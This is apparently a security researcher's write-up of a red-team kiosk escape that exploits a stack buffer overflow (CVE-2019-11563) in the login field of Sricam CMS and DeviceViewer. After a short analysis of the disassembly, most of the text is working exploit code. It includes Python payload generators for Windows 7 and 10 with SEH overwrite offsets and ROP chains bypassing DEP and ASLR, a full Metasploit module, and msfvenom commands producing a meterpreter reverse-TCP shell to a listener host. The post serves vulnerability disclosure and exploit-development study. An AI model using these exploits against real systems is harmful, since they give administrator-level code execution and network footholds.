A tale of a kiosk escape: ‘Sricam CMS’ Stack Buffer Overflow
TL;DR: Shenzhen Sricctv Technology Sricam CMS (SricamPC.exe) <= v.1.0.0.53(4) and DeviceViewer (DeviceViewer.exe) <= v.3.10.12.0 (CVE-2019-11563) are affected by a local Stack Buffer Overflow. By creating a specially crafted “Username” and copying its value in the “User/mail” login field, an attacker will be able to gain arbitrary code execution in the context of the currently logged-in user.
Please Note: by default, Sricam CMS requires elevation and runs in High Integrity mode; exploitation of the above software will result in a compromise of a privileged account (administrator).
Table of Contents
Red-Team Engagement
During a recent red-team engagement (physical access was allowed) I’ve discovered some interesting hosts on the network: some fully patched Windows 10 OS touchscreen devices, running the “Shenzhen Sricctv Technology DeviceViewer and SricamCMS” software in “kiosk” mode.
A captive kiosk is normally meant to only allow a limited number of users to do: a set of pre-determined tasks and limit viewable data without the possibility of accessing the underlying operating system. In this case, it was used by security operators to monitor CCTVs on the premise.
Please note: on Windows 10, instead of using home-made “kiosk” modes, there is an inbuilt option called: “Assigned Access”.
Assigned Access is a feature that creates a lockdown environment that lets users interact with one app only when they sign-in into a specified account. With Assigned Access, users won’t be able to reach the desktop, start menu, or any other app, including the “Settings App”.
A single-app kiosk (ideal for public use), will runs a single Universal Windows Platform (UWP) app in full screen above the lock screen. People using the kiosk will be able to see only the chosen app.
When the kiosk account (a local standard user account) signs in, the kiosk app will launch automatically, you can configure the kiosk account to sign in automatically as well. If the kiosk app is closed, it will automatically restart.
Some useful resources about “Assigned Access”
- https://www.windowscentral.com/how-set-assigned-access-windows-10
- https://docs.microsoft.com/en-us/windows/configuration/kiosk-additional-reference
Disassembling
Searching a way to perform a “kiosk escape” attack, gaining access to the underlying OS and a foothold on the client’s network, I found that in 2019 Hayden Wright discovered a stack-based buffer overflow in DeviceViewer [EDB].
Unfortunately, the PoC was meant only for Windows XP and 7 while I had to target Windows 10 with DEP and ASLR turned on.
For this reason, armed with IDA and Immunity Debugger I’ve started debugging the applications.
Looking at the disassembled software we can note a call to “__security_check_cookie
” thus meaning that the code was compiled with the “/GS” Buffer Security Check flag enabled. Stack cookies are then present and we should take care of them when exploiting our buffer overflow.
PoC: causing the crash
Trying different payload sizes for our username field, I have discovered that the application will behave in different ways.
Username value size:
- 0: username cannot be empty
- <=259: data parameter error
- 260-283:
RtlFailFast()
This is invoked when validation of a given LIST_ENTRY
object fails, this validation was introduced to detect data corruption as fast as possible and to prevent the system from being exploited.
“Fail fast on linked list node corruption, the segment heap uses linked lists to track segments and sub-segments. As with the NT heap (Windows 8), checks are added in the list node insertion and removal to prevent arbitrary memory writes due to corrupted list nodes. If a corrupted node is detected, the process is terminated via a call to RtlFailFast.” – Windows Internals 7th Edition Part 1
>=284: CRASH
Generating a large “username” value (~>= 284 chars), and pasting it into the “User/mail” login field, we’ll be able to see that an exception will be triggered in our debugger.
Fortunately, the crash can be triggered on both the applications, DeviceViewer and SricamCMS.
“The instruction at 0x545FB2 referenced memory at 0x4141413D. The memory could not be read -> 4141413D (exc.code c0000005, tid 4652)”
As we can see from the above screenshot, EAX has value 0x41414141
and, when the software will try to perform the following operation: cmp dword ptr [eax-4], 1
the location pointed by EAX-4 became invalid as it’s not mapped to our software and cannot be read.
Passing the exception to the debugged software will crash it. Cool, but why?
If we “translate” the assembly to a C pseudocode we will be able to see something along this line:
int __thiscall sub_545EB0(void *this, LPCWSTR lpWideCharStr, LPCWSTR a3) { const WCHAR *v3; // eax int v4; // esi const WCHAR *v5; // eax int v6; // esi _BYTE *v7; // edi char *v8; // ecx int v9; // esi char v10; // al char *v11; // ecx char v12; // al LANGID v13; // ax int v14; // eax const WCHAR *v15; // esi int v16; // edi HWND *v17; // ebx void *v18; // eax LPCWSTR v19; // edx int result; // eax LPCWSTR v21; // edx int v22; // [esp+10h] [ebp-32Ch] void *v23; // [esp+14h] [ebp-328h] LPSTR lpMultiByteStr; // [esp+18h] [ebp-324h] LPCWSTR v25; // [esp+1Ch] [ebp-320h] char v26; // [esp+20h] [ebp-31Ch] char v27; // [esp+124h] [ebp-218h] ESP 004FD16C + 124 = 4F D290 [-| // + = 260 dec char v28; // [esp+228h] [ebp-114h] ESP 004FD16C + 228 = 4F D394 [-| int v29; // [esp+338h] [ebp-4h] v23 = this; v29 = 1; /* void * memset ( void * ptr, int value, size_t num ); ptr Pointer to the block of memory to fill. value Value to be set. The value is passed as an int, but the function fills the block of memory using the unsigned char conversion of this value. num Number of bytes to be set to the value. size_t is an unsigned integral type. */ memset(&v28, 0, 0x104u); // 0x104u = 260 dec memset(&v27, 0, 0x104u); v3 = lpWideCharStr; // * to what once was the zeroed-out area that now contains our ASCII payload. It's referenced by EAX (LPCWSTR, a 32-bit pointer to a constant string of 16-bit Unicode characters, which MAY be null-terminated.) v25 = lpWideCharStr; if ( *((_DWORD *)lpWideCharStr - 1) > 1 ) { sub_52AF60((int *)&lpWideCharStr, *((_DWORD *)lpWideCharStr - 3)); v3 = lpWideCharStr; // * to our payload in UNICODE v25 = lpWideCharStr; // * to our payload in UNICODE } /* https://docs.microsoft.com/en-us/windows/win32/api/stringapiset/nf-stringapiset-widechartomultibyte int WideCharToMultiByte( UINT CodePage, DWORD dwFlags, _In_NLS_string_(cchWideChar)LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar ); Maps a UTF-16 (wide character) string to a new character string. The new character string is not necessarily from a multibyte character set. Caution Using the WideCharToMultiByte function incorrectly can compromise the security of your application. Calling this function can easily cause a buffer overrun because the size of the input buffer indicated by lpWideCharStr equals the number of characters in the Unicode string, while the size of the output buffer indicated by lpMultiByteStr equals the number of bytes. To avoid a buffer overrun, your application must specify a buffer size appropriate for the data type the buffer receives. Data converted from UTF-16 to non-Unicode encodings is subject to data loss, because a code page might not be able to represent every character used in the specific Unicode data. For more information, see Security Considerations: International Features. */ //v3= Pointer to the Unicode string to convert. //cchWideChar Size, in characters, of the string indicated by lpWideCharStr. Alternatively, this parameter can be set to -1 if the string is null-terminated. v4 = WideCharToMultiByte(0xFDE9u, 0, v3, -1, 0, 0, 0, 0); lpMultiByteStr = (LPSTR)sub_5A23A6(v4 + 1); memset(lpMultiByteStr, 0, v4 + 1); WideCharToMultiByte(0xFDE9u, 0, v25, -1, lpMultiByteStr, v4, 0, 0); //now our location in memory (v4) holds our payload in ASCII /* void * memmove ( void * destination, const void * source, size_t num ); destination Pointer to the destination array where the content is to be copied, type-casted to a pointer of type void*. source Pointer to the source of data to be copied, type-casted to a pointer of type const void*. num Number of bytes to copy. size_t is an unsigned integral type. Copies the values of num bytes from the location pointed by source to the memory block pointed by destination. Copying takes place as if an intermediate buffer were used, allowing the destination and source to overlap. The function does not check for any terminating null character in source - it always copies exactly num bytes. To avoid overflows, the size of the arrays pointed by both the destination and source parameters, shall be at least num bytes. */ memmove_0(&v28, lpMultiByteStr, v4 + 1); // copy in v28 our ASCII payload on the stack if ( lpMultiByteStr ) j_j___free_base(lpMultiByteStr); v5 = a3; v25 = a3; if ( *((_DWORD *)a3 - 1) > 1 ) // !!CRASH!! { sub_52AF60((int *)&a3, *((_DWORD *)a3 - 3)); v5 = a3; v25 = a3; } [--SNIP--]
As we can see at line 27 and 29:
char v27; // [esp+124h] char v28; // [esp+228h]
two different contiguous memory locations of 260 bytes are created.
At line 40 this area is zeroed out: memset(&v28, 0, 0x104u);
While at line 84 after the “Username” value has undergone several transformations (WideCharToMultiByte), it’s value is finally copied on the stack: memmove_0(&v28, lpMultiByteStr, v4 + 1);
Despite my initial thoughts, the cause of this crash has nothing to do with the WideCharToMultiByte function and the fact that:
“the size of the input buffer indicated by
lpWideCharStr
equals the number of characters in the Unicode string, while the size of the output buffer indicated bylpMultiByteStr
equals the number of byte”
nor with some functions using the “\x00
” as null-terminator while others copying n. bytes.
It’s everything easier than that, the developers created an area of 260 bytes length, without checking the actual size of the “Username” value and, as the text area does not limit the number of characters, here the crash.
Username values bigger than the actual buffer of 260 bytes will overwrite the stack when memmove
will copy them. Overwriting the stack with enough garbage will allow us to corrupt the SEH handler.
SEH Overwrite
On all the tested Windows versions:
- Windows XP Pro x86 v.5.1.2600 SP 3 Build 2600
- Windows 7 Pro x86 v.6.1.7601 SP 1 Build 7601
- Windows 10 Pro x64 v.1909 Build 18363.720
SEH corruption will happen after 264 bytes. SEH corruption will also allow us to forget about stack cookies as “we can defeat stack protection by triggering an exception before the cookie is checked during the epilogue (or we can try to overwrite other data (parameters that are pushed onto the stack to the vulnerable function), which is referenced before the cookie check is performed.), and then deal with possible SEH protection mechanisms, if any…” – corelanc0d3r
But, while on Windows XP, our stack-based buffer overflow will be only a plain SEH exploit, on Windows 7 and Windows 10 we should also account for ASLR and DEP.
Here the different buffers structure that we will need to create in order to trigger the exploit on the different OS versions.
Exploitation
I won’t dive further into the exploit development process because, aside from some ROP fixing and custom gadgets, it’s a standard and well-documented process (check corelan and FuzzySecurity website if you are interested). The only notable point is that, on Windows 7, upon multiple execution, we can see that the point where we land on the stack changes. That’s why I’ve introduced an ROP NOP to “sled” directly at the beginning of our ROP chain and increase the exploit reliability.
Windows 7 – [GITHUB]
""" Full title: DeviceViewer (DeviceViewer.exe) v.3.10.12.0 - 'Username' Field Stack Buffer Overflow (SEH) DEP+ASLR Bypass CVE: CVE-2019-11563 Exploit Author: Paolo Stagno aka VoidSec - [email protected] - https://voidsec.com Vendor Homepage: http://www.sricam.com/ Version: v.3.10.12.0 Tested on: Windows 7 Pro x86 v.6.1.7601 SP 1 Build 7601 Category: local exploits Platform: windows Usage: DeviceViewer > Login Screen > in the "Username" textarea paste the content of "DeviceViewer_v.3.10.12.0_exploit.txt" and press "Login" PS C:\Users\user\Desktop> Import-Module .\Get-PESecurity.psm1 PS C:\Users\user\Desktop> Get-PESecurity -file "C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe" FileName : C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe ARCH : I386 DotNET : False ASLR : True DEP : True Authenticode : False StrongNaming : N/A SafeSEH : False ControlFlowGuard : False HighentropyVA : False """ #!/usr/bin/python import struct poc=open("DeviceViewer_v.3.10.12.0_exploit.txt", "w") total_size=4000 offset=264 # ofsset to nSEH # | buffer (4000) | # | garbage (264) | nSEH (4) | SEH (4) | rop_nop (320) | rop chain (84) | stack adj (6) | shellcode (371) | filler (4000-len(buff)) | buf = "" # our buffer buf += "A"*offset # garbage until we hit nSEH buf += "BBBB" # nSEH; # 0x6a0e6a60 : pop esi # pop edi # ret | ascii {PAGE_EXECUTE_READ} [avcodec-54.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\DeviceViewer\avcodec-54.dll) # buf += struct.pack("<I",0x6a0e6a60) # SEH used to calculate stack pivot offset # exception dispatcher ESP: 0021E858 # stack address of our stack adj: 0021F374 # stack pivot: 0021F374-0021E858=B1C (2844) # nearest pivot # 0x6a19b49f : {pivot 3100 / 0xc1c} : # ADD ESP,0C0C # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [avcodec-54.dll] ** | {PAGE_EXECUTE_READ} buf += struct.pack("<I",0x6a19b49f) # SEH (stack pivot) # 3100 - 2844 = 256 to fill for _ in range(80): # filler with rop nop, 280 max seen during tests, 80*4=320 for reliability buf += struct.pack("<I",0x6a4a494a) # 0x6a4a494a (RVA : 0x003e494a) : # DEC EBX # ADD AL,83 # RETN ** [avcodec-54.dll] ** | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} # rop chain generated with mona.py - www.corelan.be """ Register setup for VirtualProtect() : -------------------------------------------- EAX = NOP (0x90909090) ECX = lpOldProtect (ptr to W address) EDX = NewProtect (0x40) EBX = dwSize ESP = lPAddress (automatic) EBP = ReturnTo (ptr to jmp esp) ESI = ptr to VirtualProtect() EDI = ROP NOP (RETN) """ def create_rop_chain(): rop_gadgets = [ #[---INFO:gadgets_to_set_ebx:---] 0x6a5d8c78, # POP EAX # RETN ** [avcodec-54.dll] ** | {PAGE_EXECUTE_READ} 0xfffffdff, # Value to negate, will become 0x00000201 0x6a2420e8, # NEG EAX # RETN ** [avcodec-54.dll] ** | {PAGE_EXECUTE_READ} 0x6a17ca04, # PUSH EAX # POP EBX # POP ESI # RETN ** [avcodec-54.dll] ** | {PAGE_EXECUTE_READ} 0x41414141, # Padding #[---INFO:gadgets_to_set_edx:---] 0x6a569810, # POP EDX # RETN [avcodec-54.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x6a5d3987, # NEG EDX # RETN [avcodec-54.dll] #[---INFO:gadgets_to_set_esi:---] 0x6a5d9990, # POP EAX # RETN [avcodec-54.dll] 0x6ad38304, # ptr to &VirtualProtect() [IAT avcodec-54.dll] 0x699af4cb, # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-54.dll] 0x6a53c7b9, # XCHG EAX,ESI # RETN [avcodec-54.dll] #[---INFO:gadgets_to_set_ebp:---] 0x699802db, # POP EBP # RETN [avformat-54.dll] 0x6a1215c3, # & push esp # ret [avcodec-54.dll] #[---INFO:gadgets_to_set_ecx:---] 0x6a4a5715, # POP ECX # RETN [avcodec-54.dll] 0x6ae9cac2, # &Writable location [avutil-50.dll] #[---INFO:gadgets_to_set_edi:---] 0x69915933, # POP EDI # RETN [avformat-54.dll] 0x6a2420ea, # RETN (ROP NOP) [avcodec-54.dll] #[---INFO:gadgets_to_set_eax:---] 0x6a5dac99, # POP EAX # RETN [avcodec-54.dll] 0x90909090, # nop #[---INFO:pushad:---] 0x6a6049b7, # PUSHAD # RETN [avcodec-54.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) buf += create_rop_chain() #------------------------------------------------ buf += "\x81\xc4\x24\xfa\xff\xff" # stack adjustment for meterpreter GetPC routine; add esp, -1500 # buf += "\xCC\xCC\xCC\xCC\xCC" # shellcode # max sixe: 3368 # bad chars: \x00\x0a\x0d # msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.0.4 exitfunc=seh -b '\x00\x0a\x0d' -f python buf += b"SHELLCODE" #------------------------------------------------ buf += "D"*(total_size-len(buf)) # filler poc.write(buf) poc.close()
Windows 10 – [GITHUB]
""" Full title: DeviceViewer (DeviceViewer.exe) v.3.10.12.0 - 'Username' Field Stack Buffer Overflow (SEH) DEP+ASLR Bypass CVE: CVE-2019-11563 Exploit Author: Paolo Stagno aka VoidSec - [email protected] - https://voidsec.com Vendor Homepage: http://www.sricam.com/ Version: v.3.10.12.0 Tested on: Windows 10 Pro x64 v.1909 Build 18363.720 Category: local exploits Platform: windows Usage: DeviceViewer > Login Screen > in the "Username" textarea paste the content of "DeviceViewer_v.3.10.12.0_exploit.txt" and press "Login" PS C:\Users\user\Desktop> Import-Module .\Get-PESecurity.psm1 PS C:\Users\user\Desktop> Get-PESecurity -file "C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe" FileName : C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe ARCH : I386 DotNET : False ASLR : True DEP : True Authenticode : False StrongNaming : N/A SafeSEH : False ControlFlowGuard : False HighentropyVA : False """ #!/usr/bin/python import struct poc=open("DeviceViewer_v.3.10.12.0_exploit.txt", "w") total_size=4000 offset=264 # ofsset to nSEH # | buffer (4000) | # | garbage (264) | nSEH (4) | SEH (4) | filler (384) | rop chain (92) | stack adj (6) | shellcode (371) | filler (4000-len(buff)) | buf = "" # our buffer buf += "A"*offset # garbage until we hit nSEH buf += "BBBB" # nSEH; # 0x6b08190f : pop esi; pop edi; ret | ascii {PAGE_EXECUTE_WRITECOPY} [avcodec-52.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\DeviceViewer\avcodec-52.dll) #buf += struct.pack("<I",0x6b08190f) # SEH used to calculate stack pivot offset # exception dispatcher ESP: 0x0170EB00 # stack address of our stack adj: 0x0170F67C # stack pivot: 0x0170F67C-0x0170EB00=B7C (2940) # nearest pivot # 0x6ad795e9 : {pivot 3324 / 0xcfc} : # ADD ESP,0CEC # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [avcodec-52.dll] ** | {PAGE_EXECUTE_WRITECOPY} buf += struct.pack("<I",0x6ad795e9) # SEH (stack pivot) # 3324 - 2940 = 384 to fill buf += "C"*384 # filler until we hit our rop chain # rop chain generated with mona.py - www.corelan.be """ Register setup for VirtualProtect() : -------------------------------------------- EAX = NOP (0x90909090) ECX = lpOldProtect (ptr to W address) EDX = NewProtect (0x40) EBX = dwSize ESP = lPAddress (automatic) EBP = ReturnTo (ptr to jmp esp) ESI = ptr to VirtualProtect() EDI = ROP NOP (RETN) """ def create_rop_chain(): rop_gadgets = [ #[---INFO:gadgets_to_set_edx:---] 0x6b050b5e, # POP EAX # RETN [avcodec-52.dll] 0xffffffd7, # put delta into eax (-> put 0x00000040 into edx) 0x6ad62214, # ADD EAX,69 # RETN [avcodec-52.dll] 0x6994f1d6, # XCHG EAX,EDX # RETN [avformat-54.dll] #[---INFO:gadgets_to_set_esi:---] 0x6b050b5e, # POP EAX # RETN [avcodec-52.dll] 0x68bab1f4, # ptr to &VirtualProtect() [IAT avutil-51.dll] 0x699150dc, # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-54.dll] 0x6ae8bcd8, # XCHG EAX,ESI # RETN [avcodec-52.dll] #[---INFO:gadgets_to_set_ebx:---] 0x6b05be37, # POP EAX # RETN [avcodec-52.dll] 0xa1a50201, # put delta into eax (-> put 0x00000201 into ebx) 0x6ade3410, # ADD EAX,5E5B0000 # POP EDI # POP EBP # RETN [avcodec-52.dll] 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x6ad5b2b4, # PUSH EAX # POP EBX # RETN [avcodec-52.dll] #[---INFO:gadgets_to_set_ebp:---] 0x6aec5b60, # POP EBP # RETN [avcodec-52.dll] 0x6ae590cf, # & push esp # ret [avcodec-52.dll] #[---INFO:gadgets_to_set_edi:---] 0x699b8706, # POP EDI # RETN [avformat-54.dll] 0x6991e152, # RETN (ROP NOP) [avformat-54.dll] #[---INFO:gadgets_to_set_ecx:---] 0x699cc348, # POP ECX # RETN [avformat-54.dll] 0x6b68c50c, # &Writable location [avcodec-52.dll] #[---INFO:gadgets_to_set_eax:---] 0x6b05be46, # POP EAX # RETN [avcodec-52.dll] 0x90909090, # nop #[---INFO:pushad:---] 0x699047dc, # PUSHAD # RETN [avformat-54.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) buf += create_rop_chain() #------------------------------------------------ buf += "\x81\xc4\x24\xfa\xff\xff" # stack adjustment for meterpreter GetPC routine; add esp, -1500 # shellcode # max sixe: 3728 # bad chars: \x00\x0a\x0d # msfvenom -a x86 --platform windows -p windows/metrpreter/reverse_tcp lhost=192.168.206.1 exitfunc=seh -b '\x00\x0a\x0d' -f python buf += b"SHELLCODE" #------------------------------------------------ buf += "D"*(total_size-len(buf)) # filler poc.write(buf) poc.close()
Gluing everything together in a Metasploit Module – [GITHUB]
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Shenzhen Sricctv Technology DeviceViewer User Field Stack Buffer Overflow', 'Description' => %q{ This exploits a SEH stack buffer overflow in Shenzhen Sricctv Technology DeviceViewer v.3.10.12.0 present in the username login field. In the "User" login field paste the content of the generated exploit and press "Login". This module will bypass DEP and ASLR. It was successfully tested on Windows 10, Windows 7 and Windows XP SP3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Hayden Wright', # Original discovery 'Paolo Stagno', # @Void_Sec ], 'References' => [ # [ 'CVE', '2019-11563' ], # Currently rejected, may get resurrected! [ 'EDB', '46779' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Platform' => 'win', 'Payload' => { 'Space' => 3368, 'BadChars' => "\x00\x0a\x0d", 'DisableNops' => true, #'StackAdjustment' => -1500 }, 'Targets' => [ [ 'Windows 10 (DEP + ASLR Bypass)', # Windows 10 Pro x64 v.1909 Build 18363.720(Windows enforces ASLR and DEP automatically on default configuration) { 'Ret' => 0x6ad795e9, # 0x6ad795e9 : {pivot 3324 / 0xcfc} : # ADD ESP,0CEC # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [avcodec-52.dll] ** | {PAGE_EXECUTE_WRITECOPY} 'Offset' => 264 } ], [ 'Windows 7 (DEP + ASLR Bypass)', # Windows 7 Pro x86 v.6.1.7601 SP 1 Build 7601(Windows enforces ASLR and DEP automatically on default configuration) { 'Ret' => 0x6a19b49f, # 0x6a19b49f : {pivot 3100 / 0xc1c} : # ADD ESP,0C0C # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [avcodec-54.dll] ** | {PAGE_EXECUTE_READ} 'Offset' => 264 } ], [ 'Windows XP x86 SEH', # Windows XP Pro x86 v.5.1.2600 SP 3 Build 2600 { 'Ret' => 0x69901d06, #POP ESI, POP EDI, RET avformat-54.dll 'Offset' => 264 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Apr 10 2019', 'DefaultTarget' => 0)) register_options([OptString.new('FILENAME', [ false, 'The file name.', 'DeviceViewer_v.3.10.12.0_exploit.txt'])]) end def create_rop_nop() rop_nop = [ 0x6a4a494a, # 0x6a4a494a (RVA : 0x003e494a) : # DEC EBX # ADD AL,83 # RETN ** [avcodec-54.dll] ** | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} ].flatten.pack("V*") return rop_nop end def create_rop_chain7() ## rop chain generated with mona.py - www.corelan.be, fixed by VoidSec # Register setup for VirtualProtect() : # EAX = NOP (0x90909090) # ECX = lpOldProtect (ptr to W address) # EDX = NewProtect (0x40) # EBX = dwSize # ESP = lPAddress (automatic) # EBP = ReturnTo (ptr to jmp esp) # ESI = ptr to VirtualProtect() # EDI = ROP NOP (RETN) ## rop_gadgets = [ #[---INFO:gadgets_to_set_ebx:---] 0x6a5d8c78, # POP EAX # RETN ** [avcodec-54.dll] ** | {PAGE_EXECUTE_READ} 0xfffffdff, # Value to negate, will become 0x00000201 0x6a2420e8, # NEG EAX # RETN ** [avcodec-54.dll] ** | {PAGE_EXECUTE_READ} 0x6a17ca04, # PUSH EAX # POP EBX # POP ESI # RETN ** [avcodec-54.dll] ** | {PAGE_EXECUTE_READ} 0x41414141, # Padding #[---INFO:gadgets_to_set_edx:---] 0x6a569810, # POP EDX # RETN [avcodec-54.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x6a5d3987, # NEG EDX # RETN [avcodec-54.dll] #[---INFO:gadgets_to_set_esi:---] 0x6a5d9990, # POP EAX # RETN [avcodec-54.dll] 0x6ad38304, # ptr to &VirtualProtect() [IAT avcodec-54.dll] 0x699af4cb, # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-54.dll] 0x6a53c7b9, # XCHG EAX,ESI # RETN [avcodec-54.dll] #[---INFO:gadgets_to_set_ebp:---] 0x699802db, # POP EBP # RETN [avformat-54.dll] 0x6a1215c3, # & push esp # ret [avcodec-54.dll] #[---INFO:gadgets_to_set_ecx:---] 0x6a4a5715, # POP ECX # RETN [avcodec-54.dll] 0x6ae9cac2, # &Writable location [avutil-50.dll] #[---INFO:gadgets_to_set_edi:---] 0x69915933, # POP EDI # RETN [avformat-54.dll] 0x6a2420ea, # RETN (ROP NOP) [avcodec-54.dll] #[---INFO:gadgets_to_set_eax:---] 0x6a5dac99, # POP EAX # RETN [avcodec-54.dll] 0x90909090, # nop #[---INFO:pushad:---] 0x6a6049b7, # PUSHAD # RETN [avcodec-54.dll] ].flatten.pack("V*") return rop_gadgets end def create_rop_chain10() rop_gadgets = [ ## rop chain generated with mona.py - www.corelan.be, fixed by VoidSec #[---INFO:gadgets_to_set_edx:---] 0x6b050b5e, # POP EAX # RETN [avcodec-52.dll] 0xffffffd7, # put delta into eax (-> put 0x00000040 into edx) 0x6ad62214, # ADD EAX,69 # RETN [avcodec-52.dll] 0x6994f1d6, # XCHG EAX,EDX # RETN [avformat-54.dll] #[---INFO:gadgets_to_set_esi:---] 0x6b050b5e, # POP EAX # RETN [avcodec-52.dll] 0x68bab1f4, # ptr to &VirtualProtect() [IAT avutil-51.dll] 0x699150dc, # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-54.dll] 0x6ae8bcd8, # XCHG EAX,ESI # RETN [avcodec-52.dll] #[---INFO:gadgets_to_set_ebx:---] 0x6b05be37, # POP EAX # RETN [avcodec-52.dll] 0xa1a50201, # put delta into eax (-> put 0x00000201 into ebx) 0x6ade3410, # ADD EAX,5E5B0000 # POP EDI # POP EBP # RETN [avcodec-52.dll] 0x41414141, # Filler (compensate) 0x41414141, # Filler (compensate) 0x6ad5b2b4, # PUSH EAX # POP EBX # RETN [avcodec-52.dll] #[---INFO:gadgets_to_set_ebp:---] 0x6aec5b60, # POP EBP # RETN [avcodec-52.dll] 0x6ae590cf, # & push esp # ret [avcodec-52.dll] #[---INFO:gadgets_to_set_edi:---] 0x699b8706, # POP EDI # RETN [avformat-54.dll] 0x6991e152, # RETN (ROP NOP) [avformat-54.dll] #[---INFO:gadgets_to_set_ecx:---] 0x699cc348, # POP ECX # RETN [avformat-54.dll] 0x6b68c50c, # &Writable location [avcodec-52.dll] #[---INFO:gadgets_to_set_eax:---] 0x6b05be46, # POP EAX # RETN [avcodec-52.dll] 0x90909090, # nop #[---INFO:pushad:---] 0x699047dc, # PUSHAD # RETN [avformat-54.dll] ].flatten.pack("V*") return rop_gadgets end def exploit max_buff_length = 4000 buffer = "" stack_adj = "\x81\xc4\x24\xfa\xff\xff" # stack adj; add esp, -1500 if target.ret == 0x6ad795e9 # win 10, add rop and different layout # | buffer (4000) | # | garbage (254) | nSEH (4) | SEH (4) | filler (384) | rop chain (92) | stack adj (6) | shellcode (371) | filler (4000-len(buff)) | buffer << make_nops(target['Offset']) # garbage buffer << make_nops(4) # nSEH buffer << [target.ret].pack("V") # SEH buffer << make_nops(384) # filler buffer << create_rop_chain10() # ROP buffer << stack_adj buffer << payload.encoded # shellcode buffer << make_nops(max_buff_length-buffer.length) # filler elsif target.ret == 0x6a19b49f # win 7, add rop and different layout # | buffer (4000) | # | garbage (254) | nSEH (4) | SEH (4) | rop_nop (320) | rop chain (84) | stack adj (6) | shellcode (371) | filler (4000-len(buff)) | buffer << make_nops(target['Offset']) # garbage buffer << make_nops(4) # nSEH buffer << [target.ret].pack("V") # SEH buffer << create_rop_nop()*80 buffer << create_rop_chain7() # ROP buffer << stack_adj buffer << payload.encoded # shellcode buffer << make_nops(max_buff_length-buffer.length) # filler else # win xp, plain SEH exploit buffer << make_nops(target['Offset']) buffer << generate_seh_payload(target.ret) buffer << make_nops(max_buff_length-buffer.length) end print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(buffer) end end
Metasploit Module Documentation – [GITHUB]
Final Considerations
Despite this exploit is pretty much useless outside of this specific context, going back to the start of this red-tam scenario: I’ve exploited the “kiosk” machine, writing the final payload on a badge and reading it with a scanner; scanner fill-in operator’s login credential, exploiting the vulnerability in DeviceViewer and Sricam CMS, granting me a “kiosk” escape, access to the underlying OS and a foothold in client’s network.